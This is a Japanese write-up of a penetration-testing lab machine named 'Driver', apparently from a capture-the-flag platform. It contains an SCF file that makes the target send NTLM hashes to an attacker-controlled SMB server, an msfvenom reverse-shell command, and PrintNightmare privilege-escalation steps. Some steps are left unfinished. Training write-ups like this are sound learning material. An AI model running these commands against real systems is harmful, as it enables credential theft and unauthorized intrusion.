Driver
こんにちは、新卒二年目のセキュリティエンジニアです。
今回は、タイトル的にプリンターのドライバーに関係ありそうな「Driver」というマシンを攻略していきます。
細かい記載に間違いなどあるかもしれませんが、温かい目で見守っていただければと存じます。
偵察
まずはNmapで空いているポートを探します。
80,135,445,5985が空いていることが分かります。典型的なWindowsマシンではありつつも、Webポートが空いているのでまずはここを探していく形でしょうか。
SMBからは現段階では情報が手に入らなさそうですね。
Webポート
Webサイトにはbasic認証がついています。
burpで確認したレスポンスが以下です。
ユーザ名はadminっぽいですね。ダメもとでjoeパス(IDと同じパスワード)を試してみるとログイン成功しちゃいました。
Webサイトはタイトルからも想像がつくようなプリンターのドライバーに関するサイトでしょうか。
一通り見てみたところ、以下のファイルアップロード機能が怪しいですね。
リバースシェルをアップロードするのが定番ですが、アップロードしたファイルがどこに格納されそうか、現時点では分かりません。
今回はSMBも空いていることからSCF Attackを狙っていきます。
SCF File Attacks
SCF(エクスプローラーで特定の動作をするための簡易的なスクリプト)をアップロードし、攻撃者のマシンにアクセスさせることで認証情報を取るための攻撃です。
① あらかじめ攻撃者側でSMBサーバを立ち上げておきます。(今回はimpacketを利用する)
impacket-smbserver kali . -smb2support
② 以下のようなスクリプトをWebサイトにアップロードします。
[shell]
Command=2
IconFile=\\10.10.16.5\share\noexist
[Taskbar]
Command=ToggleDesktop
③ アップロードが成功すると下図のように、SMB認証が発生し攻撃対象のマシンがNTMLハッシュを送付してきます。

Initial Access
Privilege Escalation
一旦無心でwinPEASを回してみます。
Powershellのhistoryファイルが見えているみたいなので、こちらを確認してみましょう。


ドライバーのバージョンが分かりましたね。調べてみると本バージョンにはexploitがありそうです。
metasploitにもexploitがありそうです。が、SESSIONが必要そうなので先にリバースシェルを張る必要がありそうです。

msfvenomを使って作成したリバースシェルのコードをリモートマシンに送ります。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.5 LPORT=4444 -f exe -o shell.exe
私はここでシェルが取れなくて挫折したので、成功したらちゃんと書きます。
PrintNightmare(別解)
今回rpcも空いているので、以下のコマンドを試してみます。
impacket-rpcdump @10.10.11.106
結果を確認すると、spoolsv.exeに[MS-RPRN]がついていることが分かります。

これにはPrintNightmareと呼ばれる脆弱性があります。以下手順で管理者権限を取ります。
① 最初にリンクのCVE-2021-1675.ps1をリモートマシンにアップロードします。
② Import-Module .\CVE-2021-1675.ps1で対象に攻撃モジュールをインポートする。(今回は失敗しています)

③ 確認してみると、PowerShellスクリプトの実行が制限されていたので、外しておきます。
④ 気を取り直してもう一度インポートした後、ユーザを追加(この時追加されるユーザが高権限ユーザとなる)。











